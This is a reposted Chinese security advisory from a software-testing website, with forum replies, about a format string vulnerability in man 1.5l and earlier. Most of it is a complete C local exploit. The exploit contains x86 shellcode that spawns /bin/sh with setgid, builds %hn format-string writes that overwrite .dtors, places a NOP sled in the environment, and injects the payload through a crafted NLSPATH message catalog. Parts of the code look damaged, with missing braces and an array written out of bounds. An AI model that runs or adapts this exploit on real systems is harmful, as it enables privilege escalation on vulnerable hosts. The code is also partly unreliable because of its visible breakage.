• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

转载man的格式串漏洞

发布: 2007-6-08 22:43 | 作者: seanhe | 来源: | 查看: 19次 | 进入软件测试论坛讨论

领测软件测试网
man 1.5l版及其之前的版本 
  
描述: 
man 存在格式串缺陷 
  
详细: 
man是一款能查看多种系统的帮助手册的工具软件。

man存在格式串执行缺陷。当程序使用NLSPATH/LANG环境变量提供的可选目录文件时,由于程序对NLSPATH/LANG环境变量缺乏正确的边界检测,攻击者通过向目标机器提供精心构造的包含字符串的环境变量,将触发该缺陷,能允许攻击者破坏内存信息。缺陷存在于gripes.c:89:vfprintf(stderr,getmsg(n),p);函数中,getmsg()函数用于返回来自catalog的数据。 
  
攻击方法: 
示例代码: 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include <sys/stat.h> 
#include <sys/types.h> 
#include <pwd.h> 

#define PATH "/usr/bin/man" /* man binary. */ 
#define NOP_AMT 4096 /* number of NOPs.   */ 
#define LANG_NAME "xx" /* "en", "fr", ... */ 

static char x86_exec[]= /* with setgid(15); */ 
"\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3" 
"\x0f\xcd\x80\x89\x76\x08\x31\xc0\x88\x46" 
"\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e" 
"\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" 
"\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62" 
"\x69\x6e\x2f\x73\x68\x01"; 

struct platform { 
unsigned short align; 
unsigned int pops; 
unsigned long dtors_addr; 
unsigned long ret_addr; 
char *exec; 
}; 

struct platform target[2] = 


/* alignment.                */ 
0, 
/* pops, example provided below.   */ 
88, 
/* objdump -sj.dtors /usr/bin/man   */ 
(0x805122c+4), 
/* generalized number, room to work. */ 
0xbffffe01, 
/* shellcode, with setgid(15)     */ 
x86_exec 
}, 
{ 0, 0, 0, 0, NULL } 
}; 

char *setfmt(unsigned int); 
char *setfmtmem(unsigned int); 
char *setlang(unsigned int); 
void printe(char *); 

int main(int argc,char **argv){ 
extern char **environ; 

if(argc<2){ 
printf("(*)man[v1.5l]: format string exploit.\n" 
"(*)by: v9@fakehalo.deadpig.org / fakehalo.\n\n" 
"syntax: %s <platform>\n" 
" 0 : Compiled RH/linux 2.4.2-2.\n",argv[0]); 
exit(1); 

if(atoi(argv[1])>0) 
printe("main(): invalid platform number"); 

/* reset environment to ensure addresses  */ 
/* are aligned. as the pointer used is   */ 
/* going to be aligned in the environment. */ 
bzero((void *)&environ,sizeof(environ)); 
if(!(environ=(char **)malloc(3*(sizeof(char *))))) 
printe("main(): allocation of memory error"); 

/* X<alignment>=<addr+2><addr><nops><shellcode> */ 
environ[0]=setfmtmem(atoi(argv[1])); 

/* NLSPATH=/path/to/lang. */ 
environ[1]=setlang(atoi(argv[1])); 
environ[2]=0x0; 

if(execlp(PATH,PATH,0)) 
printe("main(): failed to execute man"); 

exit(0); 

/* makes buffer: "8 %0d$hn%0d$hn" */ 
char *setfmt(unsigned int pf){ 
unsigned int addrl,addrh; 
unsigned int pops=target[pf].pops; 
unsigned long addr=target[pf].ret_addr; 
char *buf; 

addrh=(addr&0xffff0000)>>16; 
addrl=(addr&0x0000ffff); 

if(!(buf=(char *)malloc(64+1))) 
printe("setfmt(): allocating memory failed"); 
bzero(buf,(64+1)); 

if(addrh<addrl) 
sprintf(buf,"8 %%.%dd%%%d$hn%%.%dd%%%d$hn", 
(addrh-1),pops,(addrl-addrh),(pops+1)); 
else 
sprintf(buf,"8 %%.%dd%%%d$hn%%.%dd%%%d$hn", 
(addrl-1),(pops+1),(addrh-addrl),pops);  

/* example of how to find amount of pops. */ 
/* run the exploit with this return(),   */ 
/* adding "%x"'s, until you see your data. */ 
/* return("8 " 
"%x %x %x %x %x %x %x %x %x %x" // 10 
"%x %x %x %x %x %x %x %x %x %x" // 20 
"%x %x %x %x %x %x %x %x %x %x" // 30 
"%x %x %x %x %x %x %x %x %x %x" // 40 
"%x %x %x %x %x %x %x %x %x %x" // 50 
"%x %x %x %x %x %x %x %x %x %x" // 60 
"%x %x %x %x %x %x %x %x %x %x" // 70 
"%x %x %x %x %x %x %x %x %x %x" // 80 
"%x %x %x %x %x %x %x %x" // 8+80=88. (my box) 
"\n"); */ 

return(buf); 

/* makes buffer: <addr+2><addr><nops><shellcode> */ 
char *setfmtmem(unsigned int pf){ 
unsigned short align=target[pf].align; 
unsigned long dtors=target[pf].dtors_addr; 
char filler[][4]={"","X","XX","XXX"}; 
char taddr[3]; 
char *buf; 
char *exec=target[pf].exec; 

taddr[0]=(dtors&0xff000000)>>24; 
taddr[1]=(dtors&0x00ff0000)>>16; 
taddr[2]=(dtors&0x0000ff00)>>8; 
taddr[3]=(dtors&0x000000ff); 

if(!(buf=(char *)malloc(strlen(exec)+align+ 
NOP_AMT+11))) 
printe("getfmtmem(): allocating memory failed"); 

bzero(buf,(strlen(exec)+align+NOP_AMT+11)); 
sprintf(buf,"X%s=%c%c%c%c%c%c%c%c", 
filler[align], 
taddr[3]+2,taddr[2],taddr[1],taddr[0], 
taddr[3],taddr[2],taddr[1],taddr[0]); 

memset(buf+(10+align),0x90,NOP_AMT); 
memcpy(buf+((10+align+NOP_AMT)-strlen(exec)), 
exec,strlen(exec)); 

return(buf); 

char *setlang(unsigned int pf){ 
char *langfile; 
char *langsrc; 
char *execbuf; 
char *envbuf; 
struct passwd *pwd; 
FILE *fs; 

if(!(pwd=getpwuid(getuid()))) 
printe("passwd entry doesn't appear to exist"); 
else{ 
if(strlen(pwd->pw_dir)){ 
  if(!(langfile=(char *)malloc(strlen((char *) 
  pwd->pw_dir)+strlen(LANG_NAME)+7))) 
   printe("setlang(): allocating memory failed"); 
  sprintf(langfile,"%s/mess.%s",(char *)pwd->pw_dir, 
  LANG_NAME); 

else 
  printe("passwd entry lookup failure"); 

if(!(langsrc=(char *)malloc(strlen(langfile)+5))) 
printe("setlang(): allocating memory failed"); 

sprintf(langsrc,"%s.src",langfile); 

if(!(fs=fopen(langsrc,"w"))) 
printe("setlang(): failed to write to cat file."); 
fs=fopen(langsrc,"w"); 
fprintf(fs,"%s\n",setfmt(pf)); 
fclose(fs); 

if(!(execbuf=(char *)malloc(strlen(langfile)+ 
strlen(langsrc)+9))) 
printe("setlang(): allocating memory failed"); 
sprintf(execbuf,"gencat %s %s",langfile,langsrc); 

unlink(langfile); 
system(execbuf); 

if(!(envbuf=(char *)malloc(strlen(langfile)+9))) 
printe("setlang(): allocating memory failed"); 
sprintf(envbuf,"NLSPATH=%s",langfile); 

free(langfile); 
free(langsrc); 
free(execbuf); 

return(envbuf); 

void printe(char *err){ 
fprintf(stderr,"error: %s.\n",err); 
exit(0); 
}

 answer 回复于:2003-06-09 21:12:56
暂时还没用,不过先列为精华,可能对别人有用。

 轩辕砍刀 回复于:2003-06-09 21:52:06
!!man都有漏洞!?

 songls 回复于:2003-06-10 09:25:27
还没有Down,但先顶!!!!

 EvilSeed 回复于:2003-06-10 22:07:43
我是初学者。请问上面的语言是C语言么?LINUX下面是用的C还是C++啊?

延伸阅读

文章来源于领测软件测试网 https://www.ltesting.net/


关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备2023014753号-2
技术支持和业务联系:info@testage.com.cn 电话:010-51297073

软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网